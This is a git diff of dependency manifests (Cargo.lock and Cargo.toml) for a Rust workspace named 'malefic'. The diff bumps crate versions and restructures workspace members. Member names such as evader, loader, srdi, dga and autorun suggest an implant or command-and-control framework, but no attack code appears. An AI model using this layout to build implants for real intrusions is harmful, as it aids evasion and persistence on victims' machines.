"ppv-lite86", - "rand_core 0.5.1", + "rand_chacha 0.9.0", + "rand_core 0.9.5", ] [[package]] @@ -2875,12 +2918,13 @@ dependencies = [ ] [[package]] -name = "rand_core" -version = "0.5.1" +name = "rand_chacha" +version = "0.9.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "90bde5296fc891b0cef12a6d03ddccc162ce7b2aff54160af9338f8d40df6d19" +checksum = "d3022b5f1df60f26e1ffddd6c66e8aa15de382ae63b3a0c1bfc0e4d3e3f325cb" dependencies = [ - "getrandom 0.1.16", + "ppv-lite86", + "rand_core 0.9.5", ] [[package]] @@ -2893,12 +2937,12 @@ dependencies = [ ] [[package]] -name = "rand_hc" -version = "0.2.0" +name = "rand_core" +version = "0.9.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ca3129af7b92a17112d59ad498c6f81eaf463253766b90396d39ea7a39d6613c" +checksum = "76afc826de14238e6e8c374ddcc1fa19e374fd8dd986b0d2af0d02377261d83c" dependencies = [ - "rand_core 0.5.1", + "getrandom 0.3.3", ] [[package]] @@ -2907,7 +2951,7 @@ version = "0.5.17" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "5407465600fb0548f1442edf71dd20683c6ed326200ace4b1ef0763521bb3b77" dependencies = [ - "bitflags 2.9.1", + "bitflags 2.11.0", ] [[package]] @@ -2984,21 +3028,6 @@ dependencies = [ "windows-sys 0.52.0", ] -[[package]] -name = "ring" -version = "0.16.20" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3053cf52e236a3ed746dfc745aa9cacf1b791d846bdaf412f60a8d7d6e17c8fc" -dependencies = [ - "cc", - "libc", - "once_cell", - "spin 0.5.2", - "untrusted 0.7.1", - "web-sys", - "winapi", -] - [[package]] name = "ring" version = "0.17.14" @@ -3009,7 +3038,7 @@ dependencies = [ "cfg-if", "getrandom 0.2.16", "libc", - "untrusted 0.9.0", + "untrusted", "windows-sys 0.52.0", ] @@ -3025,36 +3054,13 @@ version = "2.1.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "357703d41365b4b27c590e3ed91eabb1b663f07c4c084095e60cbed4362dff0d" -[[package]] -name = "rustc_version" -version = "0.2.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "138e3e0acb6c9fb258b19b67cb8abd63c00679d2851805ea151465464fe9030a" -dependencies = [ - "semver 0.9.0", -] - [[package]] name = "rustc_version" version = "0.4.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "cfcb3a22ef46e85b45de6ee7e79d063319ebb6594faafcf1c225ea92ab6e9b92" dependencies = [ - "semver 1.0.26", -] - -[[package]] -name = "rustix" -version = "0.37.28" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "519165d378b97752ca44bbe15047d5d3409e875f39327546b42ac81d7e18c1b6" -dependencies = [ - "bitflags 1.3.2", - "errno", - "io-lifetimes", - "libc", - "linux-raw-sys 0.3.8", - "windows-sys 0.48.0", + "semver", ] [[package]] @@ -3063,45 +3069,57 @@ version = "1.0.8" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "11181fbabf243db407ef8df94a6ce0b2f9a733bd8be4ad02b4eda9602296cac8" dependencies = [ - "bitflags 2.9.1", + "bitflags 2.11.0", "errno", "libc", - "linux-raw-sys 0.9.4", + "linux-raw-sys", "windows-sys 0.60.2", ] [[package]] name = "rustls" -version = "0.18.1" +version = "0.23.37" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5d1126dcf58e93cee7d098dbda643b5f92ed724f1f6a63007c1116eed6700c81" +checksum = "758025cb5fccfd3bc2fd74708fd4682be41d99e5dff73c377c0646c6012c73a4" dependencies = [ - "base64 0.12.3", + "aws-lc-rs", "log", - "ring 0.16.20", - "sct 0.6.1", - "webpki 0.21.4", + "once_cell", + "ring", + "rustls-pki-types", + "rustls-webpki", + "subtle", + "zeroize", ] [[package]] -name = "rustls" -version = "0.20.9" +name = "rustls-pemfile" +version = "2.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1b80e3dec595989ea8510028f30c408a4630db12c9cbb8de34203b89d6577e99" +checksum = "dce314e5fee3f39953d46bb63bb8a46d40c2f8fb7cc5a3b6cab2bde9721d6e50" dependencies = [ - "log", - "ring 0.16.20", - "sct 0.7.1", - "webpki 0.22.4", + "rustls-pki-types", ] [[package]] -name = "rustls-pemfile" -version = "1.0.4" +name = "rustls-pki-types" +version = "1.14.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1c74cae0a4cf6ccbbf5f359f08efdf8ee7e1dc532573bf0db71968cb56b1448c" +checksum = "be040f8b0a225e40375822a563fa9524378b9d63112f53e19ffff34df5d33fdd" dependencies = [ - "base64 0.21.7", + "zeroize", +] + +[[package]] +name = "rustls-webpki" +version = "0.103.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d7df23109aa6c1567d1c575b9952556388da57401e4ace1d15f79eedad0d8f53" +dependencies = [ + "aws-lc-rs", + "ring", + "rustls-pki-types", + "untrusted", ] [[package]] @@ -3122,7 +3140,7 @@ version = "0.10.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "97a22f5af31f73a954c10289c93e8a50cc23d971e80ee446f1f6f7137a088213" dependencies = [ - "cipher 0.4.4", + "cipher", ] [[package]] @@ -3135,10 +3153,13 @@ dependencies = [ ] [[package]] -name = "scopeguard" -version = "1.2.0" +name = "schannel" +version = "0.1.28" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49" +checksum = "891d81b926048e76efe18581bf793546b4c0eaf8448d72be8de2bbee5fd166e1" +dependencies = [ + "windows-sys 0.61.2", +] [[package]] name = "scroll" @@ -3168,45 +3189,39 @@ checksum = "0516a385866c09368f0b5bcd1caff3366aace790fcd46e2bb032697bb172fd1f" dependencies = [ "pbkdf2", "salsa20", - "sha2 0.10.9", -] - -[[package]] -name = "sct" -version = "0.6.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b362b83898e0e69f38515b82ee15aa80636befe47c3b6d3d89a911e78fc228ce" -dependencies = [ - "ring 0.16.20", - "untrusted 0.7.1", + "sha2", ] [[package]] -name = "sct" -version = "0.7.1" +name = "secrecy" +version = "0.10.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "da046153aa2352493d6cb7da4b6e5c0c057d8a1d0a9aa8560baffdd945acd414" +checksum = "e891af845473308773346dc847b2c23ee78fe442e0472ac50e22a18a93d3ae5a" dependencies = [ - "ring 0.17.14", - "untrusted 0.9.0", + "zeroize", ] [[package]] -name = "secrecy" -version = "0.10.3" +name = "security-framework" +version = "2.11.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e891af845473308773346dc847b2c23ee78fe442e0472ac50e22a18a93d3ae5a" +checksum = "897b2245f0b511c87893af39b033e5ca9cce68824c4d7e7630b5a1d339658d02" dependencies = [ - "zeroize", + "bitflags 2.11.0", + "core-foundation", + "core-foundation-sys", + "libc", + "security-framework-sys", ] [[package]] -name = "semver" -version = "0.9.0" +name = "security-framework-sys" +version = "2.17.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1d7eb9ef2c18661902cc47e535f9bc51b78acd254da71d375c2f6720d9a40403" +checksum = "6ce2691df843ecc5d231c0b14ece2acc3efb62c0a398c7e1d875f3983ce020e3" dependencies = [ - "semver-parser", + "core-foundation-sys", + "libc", ] [[package]] @@ -3215,12 +3230,6 @@ version = "1.0.26" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "56e6fa9c48d24d85fb3de5ad847117517440f6beceb7798af16b4a87d616b8d0" -[[package]] -name = "semver-parser" -version = "0.7.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "388a1df253eca08550bef6c72392cfe7c30914bf41df5269b68cbd6ff8f570a3" - [[package]] name = "serde" version = "1.0.219" @@ -3253,17 +3262,6 @@ dependencies = [ "serde", ] -[[package]] -name = "serde_qs" -version = "0.8.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c7715380eec75f029a4ef7de39a9200e0a63823176b759d055b613f5a87df6a6" -dependencies = [ - "percent-encoding", - "serde", - "thiserror", -] - [[package]] name = "serde_spanned" version = "1.0.0" @@ -3273,18 +3271,6 @@ dependencies = [ "serde", ] -[[package]] -name = "serde_urlencoded" -version = "0.7.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d3491c14715ca2294c4d6a88f15e84739788c1d030eed8c110436aafdaa2f3fd" -dependencies = [ - "form_urlencoded", - "itoa", - "ryu", - "serde", -] - [[package]] name = "serde_yaml" version = "0.9.34+deprecated" @@ -3340,34 +3326,6 @@ dependencies = [ "serial-core", ] -[[package]] -name = "sha1" -version = "0.6.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c1da05c97445caa12d05e848c4a4fcbbea29e748ac28f7e80e9b010392063770" -dependencies = [ - "sha1_smol", -] - -[[package]] -name = "sha1_smol" -version = "1.0.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bbfa15b3dddfee50a0fff136974b3e1bde555604ba463834a7eb7deb6417705d" - -[[package]] -name = "sha2" -version = "0.9.9" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4d58a1e1bf39749807d89cf2d98ac2dfa0ff1cb3faa38fbb64dd88ac8013d800" -dependencies = [ - "block-buffer 0.9.0", - "cfg-if", - "cpufeatures", - "digest 0.9.0", - "opaque-debug", -] - [[package]] name = "sha2" version = "0.10.9" @@ -3376,7 +3334,7 @@ checksum = "a7507d819769d01a365ab707794a4084392c824f54a7a6a7862f8c3d0892b283" dependencies = [ "cfg-if", "cpufeatures", - "digest 0.10.7", + "digest", ] [[package]] @@ -3475,12 +3433,12 @@ dependencies = [ "async-channel 2.5.0", "async-executor", "async-fs", - "async-io 2.5.0", - "async-lock 3.4.1", + "async-io", + "async-lock", "async-net", "async-process", "blocking", - "futures-lite 2.6.1", + "futures-lite", ] [[package]] @@ -3489,98 +3447,12 @@ version = "1.1.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "1b6b67fb9a61334225b5b790716f609cd58395f895b3fe8b328786812a40bc3b" -[[package]] -name = "socket2" -version = "0.4.10" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9f7916fc008ca5542385b89a3d3ce689953c143e9304a9bf8beec1de48994c0d" -dependencies = [ - "libc", - "winapi", -] - -[[package]] -name = "spin" -version = "0.5.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6e63cff320ae2c57904679ba7cb63280a3dc4613885beafb148ee7bf9aa9042d" - -[[package]] -name = "spin" -version = "0.9.8" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6980e8d7511241f8acf4aebddbb1ff938df5eebe98691418c4468d0b72a96a67" - [[package]] name = "stable_deref_trait" version = "1.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a8f112729512f8e442d81f95a8a7ddf2b7c6b8a1a6f509a95864142b30cab2d3" -[[package]] -name = "standback" -version = "0.2.17" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e113fb6f3de07a243d434a56ec6f186dfd51cb08448239fe7bcae73f87ff28ff" -dependencies = [ - "version_check", -] - -[[package]] -name = "static_assertions" -version = "1.1.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a2eb9349b6444b326872e140eb1cf5e7c522154d69e7a0ffb0fb81c06b37543f" - -[[package]] -name = "stdweb" -version = "0.4.20" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d022496b16281348b52d0e30ae99e01a73d737b2f45d38fed4edf79f9325a1d5" -dependencies = [ - "discard", - "rustc_version 0.2.3", - "stdweb-derive", - "stdweb-internal-macros", - "stdweb-internal-runtime", - "wasm-bindgen", -] - -[[package]] -name = "stdweb-derive" -version = "0.5.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c87a60a40fccc84bef0652345bbbbbe20a605bf5d0ce81719fc476f5c03b50ef" -dependencies = [ - "proc-macro2", - "quote", - "serde", - "serde_derive", - "syn 1.0.109", -] - -[[package]] -name = "stdweb-internal-macros" -version = "0.2.9" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "58fa5ff6ad0d98d1ffa8cb115892b6e69d67799f6763e162a1c9db421dc22e11" -dependencies = [ - "base-x", - "proc-macro2", - "quote", - "serde", - "serde_derive", - "serde_json", - "sha1", - "syn 1.0.109", -] - -[[package]] -name = "stdweb-internal-runtime" -version = "0.1.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "213701ba3370744dcd1a12960caa4843b3d68b4d1c0a5d575e0d65b2ee9d16c0" - [[package]] name = "strsim" version = "0.11.1" @@ -3612,28 +3484,6 @@ version = "2.6.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "13c2bddecc57b384dee18652358fb23172facb8a2c51ccc10d74c157bdea3292" -[[package]] -name = "surf" -version = "2.3.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "718b1ae6b50351982dedff021db0def601677f2120938b070eadb10ba4038dd7" -dependencies = [ - "async-std", - "async-trait", - "cfg-if", - "futures-util", - "getrandom 0.2.16", - "http-client", - "http-types", - "log", - "mime_guess", - "once_cell", - "pin-project-lite", - "rustls 0.18.1", - "serde", - "serde_json", -] - [[package]] name = "syn" version = "1.0.109" @@ -3684,10 +3534,10 @@ version = "3.20.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e8a64e3985349f2441a1a9ef0b853f869006c3855f2cda6862a94d26ebb9d6a1" dependencies = [ - "fastrand 2.3.0", + "fastrand", "getrandom 0.3.3", "once_cell", - "rustix 1.0.8", + "rustix", "windows-sys 0.59.0", ] @@ -3706,7 +3556,16 @@ version = "1.0.69" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b6aaf5339b578ea85b50e080feb250a3e8ae8cfcdff9a461c9ec2904bc923f52" dependencies = [ - "thiserror-impl", + "thiserror-impl 1.0.69", +] + +[[package]] +name = "thiserror" +version = "2.0.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4288b5bcbc7920c07a1149a35cf9590a2aa808e0bc1eafaade0b80947865fbc4" +dependencies = [ + "thiserror-impl 2.0.18", ] [[package]] @@ -3721,52 +3580,34 @@ dependencies = [ ] [[package]] -name = "time" -version = "0.1.45" +name = "thiserror-impl" +version = "2.0.18" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1b797afad3f312d1c66a56d11d0316f916356d11bd158fbc6ca6389ff6bf805a" +checksum = "ebc4ee7f67670e9b64d05fa4253e753e016c6c95ff35b89b7941d6b856dec1d5" dependencies = [ - "libc", - "wasi 0.10.0+wasi-snapshot-preview1", - "winapi", + "proc-macro2", + "quote", + "syn 2.0.108", ] [[package]] name = "time" -version = "0.2.27" +version = "0.1.45" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4752a97f8eebd6854ff91f1c1824cd6160626ac4bd44287f7f4ea2035a02a242" +checksum = "1b797afad3f312d1c66a56d11d0316f916356d11bd158fbc6ca6389ff6bf805a" dependencies = [ - "const_fn", "libc", - "standback", - "stdweb", - "time-macros", - "version_check", + "wasi 0.10.0+wasi-snapshot-preview1", "winapi", ] [[package]] -name = "time-macros" -version = "0.1.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "957e9c6e26f12cb6d0dd7fc776bb67a706312e7299aed74c8dd5b17ebb27e2f1" -dependencies = [ - "proc-macro-hack", - "time-macros-impl", -] - -[[package]] -name = "time-macros-impl" -version = "0.1.2" +name = "tiny-keccak" +version = "2.0.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fd3c141a1b43194f3f56a1411225df8646c55781d5f26db825b3d98507eb482f" +checksum = "2c9d3793400a45f954c52e73d068316d76b6f4e36977e3fcebb13a2721e80237" dependencies = [ - "proc-macro-hack", - "proc-macro2", - "quote", - "standback", - "syn 1.0.109", + "crunchy", ] [[package]] @@ -3791,6 +3632,18 @@ dependencies = [ "mio", "pin-project-lite", "slab", + "tokio-macros", +] + +[[package]] +name = "tokio-macros" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6e06d43f1345a3bcd39f6a56dbb7dcab2ba47e68e8ac134855e7e2bdbaf8cab8" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.108", ] [[package]] @@ -3862,28 +3715,12 @@ version = "1.18.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "1dccffe3ce07af9386bfd29e80c0ab1a8205a2fc34e4bcd40364df902cfa8f3f" -[[package]] -name = "unicase" -version = "2.8.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "75b844d17643ee918803943289730bec8aac480150456169e647ed0b576ba539" - [[package]] name = "unicode-ident" version = "1.0.18" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "5a5f39404a5da50712a4c1eecf25e90dd62b613502b7e925fd4e4d19b5c96512" -[[package]] -name = "universal-hash" -version = "0.4.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8326b2c654932e3e4f9196e69d08fdf7cfd718e1dc6f66b347e6024a0c961402" -dependencies = [ - "generic-array", - "subtle", -] - [[package]] name = "universal-hash" version = "0.5.1" @@ -3902,15 +3739,25 @@ checksum = "673aac59facbab8a9007c7f6108d11f63b603f7cabff99fabf650fea5c32b861" [[package]] name = "untrusted" -version = "0.7.1" +version = "0.9.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a156c684c91ea7d62626509bce3cb4e1d9ed5c4d978f7b4352658f96a4c26b4a" +checksum = "8ecb6da28b8a351d773b68d5825ac39017e680750f980f3a1a85cd8dd28a47c1" [[package]] -name = "untrusted" -version = "0.9.0" +name = "ureq" +version = "2.12.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8ecb6da28b8a351d773b68d5825ac39017e680750f980f3a1a85cd8dd28a47c1" +checksum = "02d1a66277ed75f640d608235660df48c8e3c19f3b4edb6a263315626cc3c01d" +dependencies = [ + "base64 0.22.1", + "flate2", + "log", + "once_cell", + "rustls", + "rustls-pki-types", + "url", + "webpki-roots 0.26.11", +] [[package]] name = "url" @@ -3921,17 +3768,6 @@ dependencies = [ "form_urlencoded", "idna", "percent-encoding", - "serde", -] - -[[package]] -name = "users" -version = "0.11.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "24cc0f6d6f267b73e5a2cadf007ba8f9bc39c6a6f9666f8cf25ea809a153b032" -dependencies = [ - "libc", - "log", ] [[package]] @@ -3979,6 +3815,12 @@ version = "1.11.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "943ce29a8a743eb10d6082545d861b24f9d1b160b7d741e0f2cdf726bec909c5" +[[package]] +name = "vcpkg" +version = "0.2.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "accd4ea62f7bb7a82fe23066fb0957d48ef677f6eeb8215f372f52e48bb32426" + [[package]] name = "version_check" version = "0.9.5" @@ -4011,12 +3853,6 @@ dependencies = [ "libc", ] -[[package]] -name = "waker-fn" -version = "1.2.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "317211a0dc0ceedd78fb2ca9a44aed3d7b9b26f81870d485c07122b4350673b7" - [[package]] name = "walkdir" version = "2.5.0" @@ -4027,12 +3863,6 @@ dependencies = [ "winapi-util", ] -[[package]] -name = "wasi" -version = "0.9.0+wasi-snapshot-preview1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cccddf32554fecc6acb585f82a32a72e28b48f8c4c1883ddfeeeaa96f7d8e519" - [[package]] name = "wasi" version = "0.10.0+wasi-snapshot-preview1" @@ -4135,42 +3965,22 @@ dependencies = [ "wasm-bindgen", ] -[[package]] -name = "webpki" -version = "0.21.4" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b8e38c0608262c46d4a56202ebabdeb094cef7e560ca7a226c6bf055188aa4ea" -dependencies = [ - "ring 0.16.20", - "untrusted 0.7.1", -] - -[[package]] -name = "webpki" -version = "0.22.4" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ed63aea5ce73d0ff405984102c42de94fc55a6b75765d621c65262469b3c9b53" -dependencies = [ - "ring 0.17.14", - "untrusted 0.9.0", -] - [[package]] name = "webpki-roots" -version = "0.20.0" +version = "0.26.11" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0f20dea7535251981a9670857150d571846545088359b28e4951d350bdaf179f" +checksum = "521bc38abb08001b01866da9f51eb7c5d647a19260e00054a8c7fd5f9e57f7a9" dependencies = [ - "webpki 0.21.4", + "webpki-roots 1.0.6", ] [[package]] name = "webpki-roots" -version = "0.22.6" +version = "1.0.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b6c71e40d7d2c34a5106301fb632274ca37242cd0c9d3e64dbece371a40a2d87" +checksum = "22cfaf3c063993ff62e73cb4311efde4db1efb31ab78a3e5c457939ad5cc0bed" dependencies = [ - "webpki 0.22.4", + "rustls-pki-types", ] [[package]] @@ -4235,7 +4045,7 @@ checksum = "c0fdd3ddb90610c7638aa2b3a3ab2904fb9e5cdbecc643ddb3647212781c4ae3" dependencies = [ "windows-implement 0.60.0", "windows-interface 0.59.1", - "windows-link", + "windows-link 0.1.3", "windows-result 0.3.4", "windows-strings 0.4.2", ] @@ -4290,6 +4100,12 @@ version = "0.1.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "5e6ad25900d524eaabdbbb96d20b4311e1e7ae1699af4fb28c17ae66c80d798a" +[[package]] +name = "windows-link" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f0805222e57f7521d6a62e36fa9163bc891acd422f971defe97d64e70d0a4fe5" + [[package]] name = "windows-result" version = "0.2.0" @@ -4305,7 +4121,7 @@ version = "0.3.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "56f42bd332cc6c8eac5af113fc0c1fd6a8fd2aa08a0119358686e5160d0586c6" dependencies = [ - "windows-link", + "windows-link 0.1.3", ] [[package]] @@ -4324,16 +4140,7 @@ version = "0.4.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "56e6c93f3a0c3b36176cb1327a4958a0353d5d166c2a35cb268ace15e91d3b57" dependencies = [ - "windows-link", -] - -[[package]] -name = "windows-sys" -version = "0.48.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9" -dependencies = [ - "windows-targets 0.48.5", + "windows-link 0.1.3", ] [[package]] @@ -4364,18 +4171,12 @@ dependencies = [ ] [[package]] -name = "windows-targets" -version = "0.48.5" +name = "windows-sys" +version = "0.61.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9a2fa6e2155d7247be68c096456083145c183cbbbc2764150dda45a87197940c" +checksum = "ae137229bcbd6cdf0f7b80a31df61766145077ddf49416a728b02cb3921ff3fc" dependencies = [ - "windows_aarch64_gnullvm 0.48.5", - "windows_aarch64_msvc 0.48.5", - "windows_i686_gnu 0.48.5", - "windows_i686_msvc 0.48.5", - "windows_x86_64_gnu 0.48.5", - "windows_x86_64_gnullvm 0.48.5", - "windows_x86_64_msvc 0.48.5", + "windows-link 0.2.1", ] [[package]] @@ -4400,7 +4201,7 @@ version = "0.53.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d5fe6031c4041849d7c496a8ded650796e7b6ecc19df1a431c1a363342e5dc91" dependencies = [ - "windows-link", + "windows-link 0.1.3", "windows_aarch64_gnullvm 0.53.0", "windows_aarch64_msvc 0.53.0", "windows_i686_gnu 0.53.0", @@ -4411,12 +4212,6 @@ dependencies = [ "windows_x86_64_msvc 0.53.0", ] -[[package]] -name = "windows_aarch64_gnullvm" -version = "0.48.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2b38e32f0abccf9987a4e3079dfb67dcd799fb61361e53e2882c3cbaf0d905d8" - [[package]] name = "windows_aarch64_gnullvm" version = "0.52.6" @@ -4429,12 +4224,6 @@ version = "0.53.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "86b8d5f90ddd19cb4a147a5fa63ca848db3df085e25fee3cc10b39b6eebae764" -[[package]] -name = "windows_aarch64_msvc" -version = "0.48.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dc35310971f3b2dbbf3f0690a219f40e2d9afcf64f9ab7cc1be722937c26b4bc" - [[package]] name = "windows_aarch64_msvc" version = "0.52.6" @@ -4447,12 +4236,6 @@ version = "0.53.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "c7651a1f62a11b8cbd5e0d42526e55f2c99886c77e007179efff86c2b137e66c" -[[package]] -name = "windows_i686_gnu" -version = "0.48.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a75915e7def60c94dcef72200b9a8e58e5091744960da64ec734a6c6e9b3743e" - [[package]] name = "windows_i686_gnu" version = "0.52.6" @@ -4477,12 +4260,6 @@ version = "0.53.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9ce6ccbdedbf6d6354471319e781c0dfef054c81fbc7cf83f338a4296c0cae11" -[[package]] -name = "windows_i686_msvc" -version = "0.48.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8f55c233f70c4b27f66c523580f78f1004e8b5a8b659e05a4eb49d4166cca406" - [[package]] name = "windows_i686_msvc" version = "0.52.6" @@ -4495,12 +4272,6 @@ version = "0.53.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "581fee95406bb13382d2f65cd4a908ca7b1e4c2f1917f143ba16efe98a589b5d" -[[package]] -name = "windows_x86_64_gnu" -version = "0.48.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "53d40abd2583d23e4718fddf1ebec84dbff8381c07cae67ff7768bbf19c6718e" - [[package]] name = "windows_x86_64_gnu" version = "0.52.6" @@ -4513,12 +4284,6 @@ version = "0.53.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "2e55b5ac9ea33f2fc1716d1742db15574fd6fc8dadc51caab1c16a3d3b4190ba" -[[package]] -name = "windows_x86_64_gnullvm" -version = "0.48.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0b7b52767868a23d5bab768e390dc5f5c55825b6d30b86c844ff2dc7414044cc" - [[package]] name = "windows_x86_64_gnullvm" version = "0.52.6" @@ -4531,12 +4296,6 @@ version = "0.53.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "0a6e035dd0599267ce1ee132e51c27dd29437f63325753051e71dd9e42406c57" -[[package]] -name = "windows_x86_64_msvc" -version = "0.48.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ed94fce61571a4006852b7389a063ab983c02eb1bb37b47f8272ce92d06d9538" - [[package]] name = "windows_x86_64_msvc" version = "0.52.6" @@ -4592,21 +4351,7 @@ version = "0.39.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "6f42320e61fe2cfd34354ecb597f86f413484a798ba44a8ca1165c58d42da6c1" dependencies = [ - "bitflags 2.9.1", -] - -[[package]] -name = "wmi" -version = "0.13.4" -source = "git+https://github.com/chainreactors/wmi-rs#1cba6de79802a17ef1b458363511ebd0353db79e" -dependencies = [ - "chrono", - "futures", - "log", - "serde", - "thiserror", - "windows", - "windows-core 0.58.0", + "bitflags 2.11.0", ] [[package]] @@ -4639,7 +4384,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "32e45ad4206f6d2479085147f02bc2ef834ac85886624a23575ae137c8aa8156" dependencies = [ "libc", - "rustix 1.0.8", + "rustix", ] [[package]] @@ -4759,6 +4504,6 @@ dependencies = [ "bzip2", "crc32fast", "flate2", - "thiserror", - "time 0.1.45", + "thiserror 1.0.69", + "time", ] diff --git a/Cargo.toml b/Cargo.toml index 3c74dc9..adeda18 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -5,51 +5,92 @@ resolver = "2" members = [ "malefic", "malefic-modules", - "malefic-helper", - "malefic-trait", + # malefic-macro lives in malefic-crates/macro "malefic-mutant", - "malefic-core", "malefic-prelude", - "malefic-proto", + "malefic-pulse", "malefic-3rd", + "malefic-crates/stub", + "malefic-crates/crypto", + "malefic-crates/module", + "malefic-crates/config", + "malefic-crates/transport", + "malefic-crates/scheduler", + "malefic-crates/dga", + "malefic-crates/cron", + "malefic-crates/macro", + "malefic-crates/proto", + "malefic-crates/manager", + "malefic-crates/common", + "malefic-crates/process", + "malefic-crates/net", + "malefic-crates/sysinfo", + "malefic-crates/loader", + "malefic-crates/codec", + "malefic-crates/rem", + "malefic-crates/win", + "malefic-crates/autorun", + "malefic-crates/guardrail", + "malefic-crates/gateway", + "malefic-crates/features", + "malefic-crates/evader", + "malefic-crates/runtime", + "malefic-crates/srdi", ] exclude = [ "malefic-proxydll", + "malefic-starship", + "lib/rage", ] [workspace.dependencies] # Core async and error handling anyhow = "1.0.89" -thiserror = "1.0.64" +thiserror = "2" futures = "0.3.31" futures-timer = "3.0.3" +futures-channel = "0.3.31" async-trait = "0.1.89" tokio = "1" +async-std = { version = "1.13.0", features = ["unstable", "attributes"] } +smol = "2.0.2" +async-net = "2.0.0" +async-process = "2.3" # Utilities -lazy_static = "1.5.0" +nanorand = { version = "0.7.0", features = ["wyrand"] } obfstr = "0.4.3" +const-random = "0.1" cfg-if = "1.0.0" +rand = "0.8.5" +getrandom = "0.2" +zeroize = "1" # Serialization -prost = "0.14.1" +prost = { git = "https://github.com/chainreactors/prost.git", branch = "skip-field-names-v0.14.1" } +prost-build = { git = "https://github.com/chainreactors/prost.git", branch = "skip-field-names-v0.14.1" } serde = { version = "1.0.210", features = ["derive"] } base64 = "0.22" # Macros 